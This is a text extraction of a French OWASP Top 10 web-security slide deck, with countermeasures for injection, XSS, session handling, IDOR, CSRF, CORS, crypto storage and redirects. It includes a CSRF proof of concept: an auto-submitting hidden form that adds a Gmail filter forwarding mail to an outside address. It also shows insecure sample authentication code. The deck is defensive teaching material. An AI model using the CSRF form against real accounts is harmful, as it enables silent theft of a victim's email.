  • 29. Contre-­‐Mesures ★Valider  les  données ★Encoder  les  données  de  sor6e ★OWASP  XSS    Cheat  Sheet ★hbps://www.owasp.org/index.php/ XSS_(Cross_Site_Scrip6ng)_Preven6on_Cheat _Sheet 14 Saturday, March 2, 13
  • 30. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 31. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 32. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 35. var users = [ {nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}}, {nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}}, {nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}} ]; 17 Saturday, March 2, 13
  • 36. var users = [ {nom: "tom", prenom: "cat", adresse:{rue:"avenue victor hugo", num: "18", cp:"06000", ville:"NICE", login:"tom", pass: "4tom"}}, {nom: "you", prenom: "tube", adresse:{rue:"rue delille", num: "23", cp:"75000", ville:"PARIS", login:"java", pass: "you"}}, {nom: "rain", prenom: "bow", adresse:{rue:"impasse toulouse lautrec", num: "5", cp:"77500", ville:"CHELLES", login:"snow", pass: "cat"}} ]; function authenticate(user, passwd) { authentifie = false ; for(iu in users){ if(users[iu].login == user && users[iu].pass == pass){ authentifie = true ; break; } } } 17 Saturday, March 2, 13
  • 38. Contre-­‐Mesure ★Ne  pas  mebre  d’authen6fica6on  coté  client ★Ne  jamais  mebre  d’ID  de  session  dans  l’URL ★U6liser  des  générateurs  d’ID  de  session  sur  (pas   le  sien  !) ★Longueur  suffisante ★Aléa  suffisant ★Chiffrer  le  transport  de  l’ID  de  session  =>  TLS/SSL ★Regénérer  des  ID  de  session  apres  le  login  et  le   logout 18 Saturday, March 2, 13
  • 39. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 40. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 41. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 44. {"d":{"__type":"Customer:#Web","Address":"3 Childers St","CustomerID": 3,"Email":"brucec@aol.com","FirstName":"Bruce","Postcode":"3000","State":"VIC","Suburb": "Melbourne"}} 20 Saturday, March 2, 13
  • 47. {"d":{"__type":"Customer:#Web","Address":"12/78 Burbank Lane","CustomerID": 4,"Email":"janedoe@hotmail.com","FirstName":"Jane","Postcode":"4000","State":"QLD","Subu rb":"Brisbane"}} 21 Saturday, March 2, 13
  • 48. Contre-­‐mesure customerID  =  1A530637289A03B07199A44E8D531427 customerID  =  3 Indirect Reference Direct Reference Web Service Database Mainframe User Access Reference Map File System Indirect Reference Direct Reference Etc… customerID  =  1A530637289A03B07199A44E8D531427 customerID  =  3 22 Saturday, March 2, 13
  • 49. Contre-­‐Mesure ★Ne  pas  exposer  de  clefs  de  base ★Mebre  en  place  des  contrôles  d’accès  serveurs ★Mebre  en  place  les  tables  de  références  d’accès 23 Saturday, March 2, 13
  • 50. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 51. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 52. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 54. 1  -­‐  On  se  loggue  sur  GMAIL 26 Saturday, March 2, 13
  • 55. Bien  noter  les  filtres  existants 27 Saturday, March 2, 13
  • 56. 2  -­‐  On  accede  à  un  site  Web  contenant  le   code  suivant  : 28 Saturday, March 2, 13
  • 57. 2  -­‐  On  accede  à  un  site  Web  contenant  le   code  suivant  : <form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> ! <input type="hidden" name="cf2_emc" value="true"/> ! <input type="hidden" name="cf2_email" value="eagle@ckers.fr"/> ! <input type="hidden" name="cf1_from" value="boss@company.com"/> ! <input type="hidden" name="cf1_to" value=""/> ! <input type="hidden" name="cf1_subj" value=""/> ! <input type="hidden" name="cf1_has" value=""/> ! <input type="hidden" name="cf1_hasnot" value=""/> ! <input type="hidden" name="cf1_attach" value="true"/> ! <input type="hidden" name="tfi" value=""/> ! <input type="hidden" name="s" value="z"/> ! <input type="hidden" name="irf" value="on"/> ! <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> </form> <script> ! document.forms[0].submit(); </script> 28 Saturday, March 2, 13
  • 58. 3  -­‐  Le  filtre  est  rajouté 29 Saturday, March 2, 13
  • 59. Contre-­‐Mesures ★Préferer  POST  a  GET ★Supprimer  toutes  les  XSS ★Mebre  des  sessions  avec  expira6on  très  faible ★Rajouter  des  tokens  aléatoires  dans  les   requetes 30 Saturday, March 2, 13
  • 60. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 61. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 62. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 63. www.example.com api.ckers.fr si ble os Imp 32 Saturday, March 2, 13
  • 64. CORS  ? www.example.com api.ckers.fr e ss ibl Po 33 Saturday, March 2, 13
  • 65. CORS  ? www.example.com api.ckers.fr e ss ibl Po Access-Control-Allow-From: * Access-Control-Allow-Origin:33 * Saturday, March 2, 13
  • 66. Contre-­‐Mesure ★Toujours  u6liser  des  ou6ls/frameworks  à  jour ★Aben6on  à  la  configura6on  des  serveurs  Web ★Revoir  la  configura6on  des  librairies  et   modules  (même  le  plus  pe6t  morceau  de   code) ★Ne  pas  mebre  des  permissions  trop  “laxistes”   cf   •Access-Control-Allow-From •Access-Control-Allow-Origin 34 Saturday, March 2, 13
  • 67. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 68. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 69. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 71. ★L’encodage  n’apporte  pas  de  protec6on ★Plutot  que  de  chiffrer  une  donnée,  se  poser  la   ques6on  de  l’u6lité  de  la  stocker  !   ★Préférer  “hasher”  les  données  plutôt  que  de  les   chiffrer   ★Ajouter  des  aléas  (sels)  différents  dans  le  hashage ★U6liser  des  algorithmes  ‘forts’   • SHA2 • AES • SHA3... 37 Saturday, March 2, 13
  • 72. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 73. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 74. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 78. Contre-­‐Mesures • Configurer  correctement  la  restric6on   d’accès  sur  les  serveurs. • Empécher  le  lis6ng  de  directory  du  serveur. • Ajouter  les  bons  type-­‐mime. • .... 40 Saturday, March 2, 13
  • 79. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13 41
  • 80. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13 41
  • 81. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13 41
  • 85. Contre-­‐Mesures  expérimentales   avec  JSON   • JSON  Web  Encryp;on  (JWE)  :  JSON  Web  Encryp6on  (JWE)  est  un  drax  expliquant   comment  représenter  un  élément  chiffrer  via  des  structures  de  données  JavaScript   Object  Nota6on  (JSON). ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐encryp;on-­‐07#page-­‐23   • JSON  Web  Signature  (JWS)  :  JSON  Web  Signature  (JWS)  est  un  drax  détaillant   comment  représenter  dans  une  strucutre  de  données  JSON,  du  contenu  u6lisant  des   signatures  numériques  ou  des  codes  d'authen6fica6on  de  message  (MAC). ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐signature-­‐07 •  JSON  Web  Algorithm  (JWA)  :  JSON  Web  Algorithms  (JWA)  décrit  les  algorithmes,   iden6fiants  nécessaires  pour  l'u6lisa6on  des  futurs  standars  JWE,  JWS  et  JWS. ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐algorithms • JSON  Web  Key  (JWK)  :    Une  structure  JSON  Web  Key  (JWK)  est  une  structure  JavaScript   Object  Nota6on  (JSON)  représentant  un  clef  publique.  Ce  drax  défini  aussi  la  manière   de  représenter  un  ensemble  de  structures  de  type  JWK.. ➡hDp://tools.iet.org/html/drau-­‐iet-­‐jose-­‐json-­‐web-­‐key-­‐07 44 Saturday, March 2, 13
  • 86. Contre-­‐Mesures ★U6liser  TLS/SSL  dès  que  des  données  sensibles  sont  a   échanger ★Mebre  le  flag  ‘Secure’  sur  les  cookies  importants  (cookie  de   session  par  exemple) ★Ne  pas  mixer  d’accès  à  du  contenu  HTTP  depuis  du  contenu   HTTPS ★Mebre  en  place  une  configura6on  “sécurisée”  de  TLS/SSL  (cf   www.ssllabs.com) ★Voir    hDp://www.owasp.org/index.php/ Transport_Layer_Protec;on_Cheat_Sheet    pour  plus  de   details 45 Saturday, March 2, 13
  • 87. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 88. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 89. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 91. Contre-­‐Mesures ★ Eviter  au  maximum  les  redirec6ons  et  les   transferts ★ S’il  faut  absolument  les  intégrer,  ne  pas  u6liser  les   paramètres  parvenant  d’un  u6lisateur  pour  définir   l’URL/fonc6on  cible. ★ Si  vous  “devez”  u6liser  les  paramètres  u6lisateurs,   • Valider  chaque  paramètre  pour  vérifier  qu’il  est  autorisé  et   valide  par  rapport  à  l’u6lisateur,  ou  alors   • U6liser  une  table  de  correspondance  serveur  entre  les   paramètres  u6lisateurs  et  les  pages  à  appeler. ★ Pour  les  redirec6ons,  valider  l’URL  cible  après  la   construc6on  pour  vérifier  qu’elle  redirige  bien   vers  un  site  autorisé  ! 48 Saturday, March 2, 13
  • 92. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 93. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 94. A3:  Mauvaise  ges;on   A4:Référence  directe   A2:  Cross  Site   A1:  Injec;on des  sessions  et  de   non  sécurisée  à  un   Scrip;ng  (XSS) l’authen;fica;on objet A8:  Mauvaise   A5:  Cross  Site  Request   A6:  Mauvaise   A7:  Mauvais  stockage   restric;on  d’accès  à   Forgery  (CSRF)   configura;on  sécurité cryptographique une  URL A9:  Protec;on   A10:    Redirec;ons    et   insuffisante  lors  du   transferts  non  validés transport  des  données hDp://www.owasp.org/index.php/Top_10 Saturday, March 2, 13
  • 95. Vous pouvez donc vous protéger de lui maintenant... • @SPoint • sebas6en.gioria@owasp.org Saturday, March 2, 13
  • 96. Vous pouvez donc vous protéger de lui maintenant... • @SPoint • sebas6en.gioria@owasp.org Il n'y a qu'une façon d'échouer, c'est d'abandonner avant d'avoir réussi [Olivier Lockert] Saturday, March 2, 13